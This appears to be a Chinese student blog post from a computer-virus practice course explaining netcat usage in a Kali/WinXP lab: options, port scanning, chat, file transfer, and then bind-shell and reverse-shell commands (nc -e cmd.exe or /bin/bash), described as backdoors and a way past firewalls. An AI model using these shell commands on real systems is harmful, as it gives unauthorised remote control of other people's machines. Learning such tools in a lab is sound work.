在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索。敬请批评指正!

1. netcat概述

(1)特性

  • “TCP/IP协议栈瑞士军刀”,可以被用在支持端口扫描、隧道、代理、端口转发等的对外连接上。

  • 从标准输入得到数据进行网络传输,它得到的数据可以通过标准输出显示到屏幕上。

  • 连接模式下,作为一个客户端:

      nc [-options] hostname [ports]
  • 监听模式下,充当一个服务器:

      nc -l -p port [-options] [hostname] [port]

(2)常用参数

options 描述
-d 无命令行界面,使用后台模式
-e [prog] 程序重定向
-g [gateway] 源路由跳跃点, 不超过8
-G [num] 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i [secs] 延时设置,端口扫描时使用
-l 监听知道NetCat被结束(可断开重连)
-L 无命令行界面,使用后台模式
-n 以数字形式表示的IP地址
-o [file] 使进制记录
-p [port] 打开本地端口
-r 随机本地和远程的端口
-s [addr] 本地源地址
-t 以TELNET的形式应答入站请求
-u UDP 模式
-v/-vv 显示详细信息
-w [secs] 连接超时设置
-z I/O 模式(扫描时使用)

2. 简单命令

  • 可以将nc.exe所在目录放进Path中,方便调用

(1)作为客户端

nc -v [ip] [port]
  • 扫瞄某IP的某个端口,返回信息详细输出。
nc -v -z [ip] [port]-[port]
  • 扫描某IP的端口到某端口,返回信息详细输出,但扫描速度较慢

  • 使用netcat可以进行端口扫描。但是Netcat并不是这个工作的最佳工具,可以使用一个更高级的工具:nmap。

nc -nvv [ip] [port]
  • 连接到某ip主机的指定端口(需开放)。

(2)作为服务器

nc -l -p 80
  • 开启本机的TCP的80端口并监听。

3. 使用netcat实现特定功能

(1)聊天功能

  • 双方一个做服务器,一个做客户端。

  • 服务器首先开启一个端口进行监听:

      nc -l -p [port]
  • 然后客户端进行连接:

      nc [服务器ip] [port]
  • 此时,双方的输入都会显示在对方机器上:

    • 服务器端:

    • 客户端:

(2)文件传输

  • 双方一个做服务器,一个做客户端。

  • 在服务器上创建并且重定向netcat的输入为待传输文件hyqServer.txt,那么当任何成功连接到该端口,netcat会发送文件内容。

      nc -l -p [port] < [待发送文件名]

  • 在客户端我们重定向输出到hyqClient.txt,当连接到服务器端时,服务器端发送文件内容,客户端保存文件内容到当前目录下的指定文件中。

      nc -n [服务器ip] [port] > [待保存文件名]

  • 比较两个文件:

  • 由于服务器端使用Linux操作系统,服务器端使用Windows操作系统,对于换行符的解释不通,导致格式不同。但内容没有更改,是完整的。

(3)打开一个Shell

  • 实际上,Netcat更多的用于后门程序。

  • WinXP作为服务器,开启监听80端口,并选用-v显示详细信息, –e选项指向cmd.exe程序。

      nc -lv -p [port] -e cmd.exe
  • 若为Linux系统,可以写做:

      nc -lv -p [port] -e /bin/bash
  • 此时,只要有人在所监听的80端口上建立连接,该程序都将执行,并将输出传输出去,即开启了一个后门。

  • 我们可以在kali(作为客户端)中使用IP和相应端口连接WinXP,成功后可以看到输入变成了cmd的模式:

      nc -vv [ip] [port]

  • 可以查看到WinXP的目录:

  • 可以进行删除操作:

  • 删除netcat文件夹中的Readme.txt文件:

  • 在WinXP中查看,确实被删除了:

(4)反向Shell

  • 反向shell是指在客户端打开的shell,可以用来绕过防火墙的限制。

  • 使用kali作为服务端打开端口监听:

      nc -l -p [port]
  • WinXP作为客户端打开相同的端口并将程序重定向到命令行:

      nc [ip] [port] -e cmd.exe
  • 若客户端为Linux系统,则:

      nc [ip] [port] -e /bin/bash
  • 在客户端显示连接上了开放端口5317:

  • 此时,Linux中会反弹回客户端的shell,并可进行操作:

4. 小结

  • 本来是病毒实践用于尝试分析的工具,虽然没有深度使用这个工具,但是我觉得这个工具本身的功能很多,如果结合自己编写的脚本应该会更能体现其价值。
  • nc是麻雀虽小,五脏俱全,这一特点有好处,也有不足。它优势在于对没有更高要求的简单环境中可以实现多功能。劣势在于每一方面的功能其实都有相应的专门的软件,而这些专门的软件做的比它的功能更强大和深入,就比如端口扫描,我觉得它的性能就不如nmap。

参考资料

参考资料1:NetCat使用介绍

参考资料2:nc 高级使用教程简介

参考资料3:Linux系统中使用netcat命令的奇技淫巧

参考资料4:NetCat代码分析

计算机病毒实践汇总四:netcat使用方法的更多相关文章

  1. 计算机病毒实践汇总六:IDA Pro基础

    在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索.敬请批评指正! 1. IDA使用 (1)搜索.下载并执行IDA Pro,对可执行程序lab05-01.dll进行装载,分别以图形 ...

  2. 计算机病毒实践汇总二:bufferzone沙盘使用体验

    在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索.敬请批评指正! 1. 安装bufferzone及其简单使用 (1)安装BufferZone BufferZone的msi安装文件 ...

  3. 百度地图和高德地图坐标系的互相转换 四种Sandcastle方法生成c#.net帮助类帮助文档 文档API生成神器SandCastle使用心得 ASP.NET Core

    百度地图和高德地图坐标系的互相转换   GPS.谷歌.百度.高德坐标相互转换 一.在进行地图开发过程中,我们一般能接触到以下三种类型的地图坐标系: 1.WGS-84原始坐标系,一般用国际GPS纪录仪记 ...

  4. Xamarin.Android开发实践(四)

    原文:Xamarin.Android开发实践(四) Xamarin.Android下获取与解析JSON 一.新建项目 1.新建一个Android项目,并命名为为NetJsonList 2.右击引用,选 ...

  5. Android进阶(二十)AndroidAPP开发问题汇总(四)

    · Android进阶(二十)AndroidAPP开发问题汇总(四) android:layout_width和android:width的区别 基中的android:layout_width和and ...

  6. kafka原理和实践(四)spring-kafka消费者源码

    系列目录 kafka原理和实践(一)原理:10分钟入门 kafka原理和实践(二)spring-kafka简单实践 kafka原理和实践(三)spring-kafka生产者源码 kafka原理和实践( ...

  7. App架构师实践指南四之性能优化一

    App架构师实践指南四之性能优化一     1.性能维度常见用来衡量App性能的维度如图9-1所示.其中,性能指标包括电池(电量/温度).流量(上行流量/下行流量等).CPU(平均/最大/最小).内存 ...

  8. #Python编程从入门到实践#第四章笔记

    #Python编程从入门到实践#第四章笔记   操作列表 ​​​1.遍历列表 使用for循环,遍历values列表 for value in values: print(value) 2.数字列表 使 ...

  9. Git工程开发实践(四)——Git分支管理策略

    A successful Git branching model https://nvie.com/posts/a-successful-git-branching-model/ Git工程开发实践( ...

随机推荐

  1. 在ubuntu下安装QQ

    (参考链接   :http://jingyan.baidu.com/album/47a29f24577776c01423991a.html?picindex=3) 一 .安装  wine 1.下载一个 ...

  2. Spring将多个配置文件引入一个配置文件中

    <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.sp ...

  3. MyEclipse定位class文件

    upolfind.bat :: 读取参数 例子 E:\workspaces\common-ws\xm_upol\WebRoot\WEB-INF\classes\${java_type_name} se ...

  4. mysql主从复制问题之主从两端binlog日志不同步解决方案

    主操作: 进入主的数据库查看状态: mysql> show master statusG; *************************** 1. row **************** ...

  5. PageRank与TrustRank影响因素分析

    PageRank(PR)里的page不是指网页,而是指Google创始人拉里?佩奇(Larry Page),是他在2001年申请的专利中以自己名字命名的,Google的PageRank根据网站的外部链 ...

  6. IOS开发-本地通知

    // 注册 发送通知的方法 -(void)pushNotfation{ //--------------初始化本地通知 alloc init 虽然是UI控件 但继承NSObject UILocalNo ...

  7. TMS320C54x系列DSP指令和编程指南——第2章 通目标文件格式介绍

    第2章 通用目标文件格式介绍 汇编器和连接器可以产生在TMS320C54x器件上执行的目标文件,这些目标文件的格式称为通用目标文件格式(COFF).采用COFF格式有利于程序的模式化编程,因为它支持用 ...

  8. (C# Binary Tree) 基本概念和算法

    A binary tree is defined as a tree where each node can have no more than two children. Building a Bi ...

  9. 响应式布局 Bootstrap(01)

    1.是什么?Bootstrap,来自 Twitter,是目前最受欢迎的前端框架,Bootstrap 是基于 HTML.CSS.JAVASCRIPT 的,它简洁灵活,使得 Web 开发更加快捷 Boot ...

  10. 第三周psp

    12号 类别c 内容c 开始时间s 结束e 中断I 净时间T 结对项目 查资料 8:40 11:22 25m 137m 结对项目 修改代码 12:10 12:40 0m 30m 结对项目 修改代码 1 ...